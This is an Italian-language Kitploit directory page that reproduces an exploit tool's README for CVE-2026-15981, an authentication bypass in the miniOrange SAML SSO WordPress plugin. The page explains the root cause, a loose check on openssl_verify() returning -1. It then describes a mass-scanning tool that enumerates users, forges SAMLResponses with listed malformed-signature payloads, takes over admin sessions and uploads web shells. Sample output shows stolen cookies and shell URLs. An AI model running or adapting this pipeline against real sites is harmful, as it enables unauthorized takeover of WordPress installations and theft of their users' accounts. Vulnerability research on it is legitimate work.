Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-15981 — SAML Single Sign On <= 5.4.4 - Bypass dell'autenticazione senza autenticazione tramite il parametro SAMLResponse | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2026-15981
Autenticazione e AutorizzazioneGenerazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitPenetration Testing
GitHubnxploited/cve-2026-15981

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - Bypass dell'autenticazione senza autenticazione tramite il parametro SAMLResponse

Vedi Repository
25 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - Bypass dell'autenticazione non autenticato tramite il parametro SAMLResponse

CVE CVSS CWE CWE Python

CVE-2026-15981

SAML Single Sign On ≤ 5.4.4 — Bypass dell'autenticazione non autenticato

Exploit Proof-of-Concept
Firma malformata → openssl_verify() restituisce -1 → cast lasco PHP a true → wp_set_auth_cookie() come Amministratore


Panoramica della Vulnerabilità

Descrizione

Il plugin SAML Single Sign On – SSO Login per WordPress è vulnerabile al Bypass dell'autenticazione in tutte le versioni fino alla 5.4.4 inclusa. Ciò è dovuto alla funzione mo_saml_validate_signature() che esegue un controllo booleano lasco sull'intero grezzo a tre stati restituito da openssl_verify() di PHP, facendo sì che un valore di errore pari a -1 venga valutato come truthy e quindi trattato come una verifica della firma riuscita.

Ciò consente ad attaccanti non autenticati di accedere come qualsiasi utente WordPress esistente, inclusi gli amministratori, inviando una SAMLResponse appositamente predisposta contenente un NameID controllato dall'attaccante e un valore di firma deliberatamente malformato che innesca un errore di elaborazione OpenSSL — bypassando completamente la verifica e portando alla chiamata di wp_set_auth_cookie() per l'account preso di mira.

Causa Radice

root@kitploit:~
Attacker sends crafted SAMLResponse
         │
         ▼
mo_saml_validate_signature()
         │
         ▼
openssl_verify($data, $malformed_sig, $key)
         │
         ├─ Returns  1  → valid signature      ✓
         ├─ Returns  0  → invalid signature     ✗
         └─ Returns -1  → OpenSSL internal error
                │
                ▼
     PHP loose comparison:  if ($result)
                │
                ├─ (int) 1   → true   ✓
                ├─ (int) 0   → false  ✓
                └─ (int) -1  → true   ← BUG: error treated as success
                       │
                       ▼
             wp_set_auth_cookie() called
                       │
                       ▼
             Attacker is now Administrator

La correzione è banale — if ($result === 1) invece di if ($result) — ma l'impatto della falla è il bypass totale dell'autenticazione.


Funzionalità

  • Scansione massiva multi-target — elaborazione concorrente degli elenchi di target
  • Fingerprinting WordPress completo — conferma WordPress prima di procedere
  • Rilevamento plugin e controllo versione — identifica miniOrange SAML SSO e valida la versione ≤ 5.4.4
  • Rilevamento dei metadati SP — estrae Entity ID e URL ACS da ?option=mosaml_metadata
  • Enumerazione completa degli utenti:
    • WP REST API (/wp-json/wp/v2/users)
    • Query REST per singolo ID (ID 1–10)
    • Reindirizzamenti agli archivi autore (/?author=N)
    • Corrispondenza di pattern nel corpo HTML
    • Fallback basato sul dominio + nomi admin comuni
  • Rilevamento dell'issuer IdP — segue i reindirizzamenti di ?option=saml_user_login ed estrae gli URL base IdP
  • Motore di falsificazione della SAMLResponse:
    • Corretta canonicalizzazione Exclusive C14N tramite lxml
    • Corretto calcolo del Digest (SHA-1/SHA-256/SHA-384/SHA-512)
    • Iniezione dell'elemento firma dopo </Issuer> secondo la specifica SAML
    • 12+ payload di firma malformati progettati per innescare openssl_verify() = -1
    • Itera su utenti × issuer × algoritmi × firme × flag audience × ID entità SP
  • Verifica della sessione — controlla il cookie dopo ogni tentativo

Requisiti

root@kitploit:~
Python >= 3.8
root@kitploit:~
pip install requests lxml

lxml è necessario per una corretta canonicalizzazione Exclusive C14N dell'asserzione SAML.


Utilizzo

root@kitploit:~
python CVE-2026-15981.py

Ti verrà chiesto di fornire:

RichiestaDescrizionePredefinito
File dei targetPercorso di un file di testo con un target per rigalist.txt
ThreadNumero di worker concorrenti (1–100)5

Formato del File dei Target

root@kitploit:~
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress

Un URL per riga. Se non viene specificato alcuno schema, viene utilizzato HTTP per impostazione predefinita.


Output

Terminale

root@kitploit:~
  ███████╗███╗   ███╗███████╗
  ██╔════╝████╗ ████║██╔════╝
  ███████╗██╔████╔██║███████╗
  ╚════██║██║╚██╔╝██║╚════██║
  ███████║██║ ╚═╝ ██║███████║
  ╚══════╝╚═╝     ╚═╝╚══════╝
   ╔══════════════════════════════════════════════════════════╗
   ║  miniOrange SAML SSO <= 5.4.4                           ║
   ║  openssl_verify() -1 Bypass -> Admin Session            ║
   ╚══════════════════════════════════════════════════════════╝
  By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
  T.m @Kxploit

Ogni target avanza attraverso 7 fasi etichettate:

root@kitploit:~
  ============================================================
    target.com
  ============================================================
  [1] WordPress
      confirmed
  [2] SAML plugin
      version: 5.4.4
      miniOrange SAML detected
  [3] SP metadata
      metadata entityID: https://target.com/...
      metadata ACS: https://target.com/
  [4] Users
      REST: admin (id=1)
      REST: editor (id=2)
      author/3: johndoe
      4 found: ['admin', 'editor', 'johndoe', 'target']
  [5] Issuers
      SSO redirect found
      3 candidates
  [6] Exploit
      COOKIE! #14 user=admin 0xFF*256/rsa-sha256
        wordpress_logged_in_abc123=admin%7C1753...
        wp-admin accessible
          user=admin  [email protected]
          users.php -> Admin
  [7] Shell upload
      M1: plugin uploaded
      SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
        -> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...

  +==========================================================+
  |  ADMIN SESSION CONFIRMED                                 |
  +==========================================================+
  |  Target : https://target.com
  |  User   : admin
  |  Issuer : https://idp.example.com/simplesaml/...
  |  Method : 0xFF*256/rsa-sha256
  |  Cookie : wordpress_logged_in_abc123=admin%7C1753...
  |  Shell  : https://target.com/wp-content/plugins/nxproof/Nx.php
  +==========================================================+

File dei Risultati

FileContenuto
sms.txtUna riga per sessione admin confermata — timestamp, target, utente, cookie, URL della shell, issuer, metodo di firma
sms_debug.jsonJSON diagnostico completo per ogni target — inclusi i conteggi dei tentativi e le classificazioni degli errori

Formato della Riga dei Risultati

root@kitploit:~
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256

Riepilogo

root@kitploit:~
  ============================================================
    DONE - 142.3s
  ============================================================
    ADMIN=3  miss=47  skip=100
    results -> sms.txt  debug -> sms_debug.json
  ============================================================

Pipeline di Sfruttamento

root@kitploit:~
Target
  │
  ├─ [1] WordPress Detection
  │       └─ wp-login.php / wp-json / jQuery fingerprint
  │
  ├─ [2] SAML Plugin Detection
  │       ├─ readme.txt version check (≤ 5.4.4)
  │       └─ SAML signature detection in HTML
  │
  ├─ [3] SP Metadata Discovery
  │       └─ ?option=mosaml_metadata → entityID + ACS URL
  │
  ├─ [4] User Enumeration
  │       ├─ REST API /wp/v2/users (bulk + per-ID)
  │       ├─ Author archive redirect (/?author=N)
  │       ├─ HTML body pattern matching
  │       └─ Domain fallback + common admin names
  │
  ├─ [5] IdP Issuer Discovery
  │       ├─ ?option=saml_user_login redirect → IdP URL
  │       └─ wp-login.php SAML link extraction
  │
  ├─ [6] SAMLResponse Forgery & Delivery
  │       │
  │       │   For each (user × issuer × algorithm × signature × audience × SP ID):
  │       │
  │       ├─ Build SAML Assertion with attacker-controlled NameID
  │       ├─ Canonicalize via Exclusive C14N (lxml)
  │       ├─ Compute correct DigestValue for the Assertion
  │       ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
  │       ├─ Wrap in <samlp:Response>, Base64 encode
  │       ├─ POST SAMLResponse to ACS URL
  │       ├─ Check for wordpress_logged_in_* cookie
  │       ├─ If cookie found → verify admin role via wp-admin
  │       └─ Classify failure via diagnostic engine
  │
  └─ [7] Post-Exploitation (on admin session)
          ├─ M1: Plugin ZIP upload + activation
          ├─ M2: REST API plugin upload
          ├─ M3: Theme/Plugin editor file write
          ├─ M4: Media async upload
          └─ Shell execution verification (Nx-zD signature)

Payload di Firma Malformati

L'exploit include 12+ payload di firma specificamente progettati per innescare openssl_verify() = -1:

Ciascuno viene combinato con gli URI degli algoritmi SHA-1 e SHA-256 e testato con/senza restrizione Audience, su più ID entità SP — massimizzando la probabilità di centrare il percorso di ritorno -1 su qualsiasi versione di OpenSSL.


Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi di ricerca didattica. Usalo solo contro sistemi di tua proprietà o per i quali disponi di un'esplicita autorizzazione scritta ai test.

L'accesso non autorizzato a sistemi informatici è un reato. L'autore declina ogni responsabilità per usi impropri, danni o qualsiasi conseguenza legale derivante dall'uso di questo software. Sei l'unico responsabile di garantire la conformità a tutte le leggi e i regolamenti applicabili nella tua giurisdizione.


By: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit

Scarica lo strumento
CampoDettaglio
CVE IDCVE-2026-15981
Plugin interessatominiOrange SAML 2.0 Single Sign On – SSO Login (WordPress)
Versioni interessateTutte le versioni fino alla 5.4.4 inclusa
TipoBypass dell'autenticazione non autenticato
CWECWE-287: Autenticazione impropria / CWE-305: Bypass dell'autenticazione tramite debolezza primaria
CVSS 3.19.8 CRITICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AutenticazioneNon richiesta
wordpress_logged_in_*
  • Conferma del ruolo admin — verifica l'accesso a /wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php
  • Estrazione del profilo — legge nome utente ed email da /wp-admin/profile.php
  • 4 metodi di upload della shell in caso di sessione admin:
    • M1 — Upload ZIP del plugin tramite plugin-install.php
    • M2 — Upload del plugin tramite API REST /wp-json/wp/v2/plugins
    • M3 — Scrittura di file tramite l'editor di temi/plugin
    • M4 — Upload asincrono dei media
  • Verifica dell'esecuzione della shell — conferma la firma Nx-zD nel corpo della risposta
  • Motore diagnostico — classifica i motivi degli errori (DIGEST_FAIL, ISSUER, AUDIENCE, TIME, ecc.)
  • Output JSON di debug — log diagnostico completo per ogni target, per l'analisi
  • PayloadDescrizione
    0xFF * 256256 byte di 0xFF — padding PKCS#1 non valido
    0xFF * 384384 byte per chiavi RSA-3072
    0xFF * 512512 byte per chiavi RSA-4096
    0xFF * 128Buffer più corto per chiavi di dimensioni minori
    0xFF * 64Padding non valido minimale
    0x00 0x01 0xFF*254Sembra PKCS#1 v1.5 ma con struttura errata
    0x00 0x01 0xFF*126Struttura simile a PKCS#1 più corta
    null_2BDue byte adiacenti null
    rand_3B / rand_7BByte casuali — innescano errori di parsing
    asn1_badSequenza ASN.1 DER malformata
    ff_1BSingolo byte 0xFF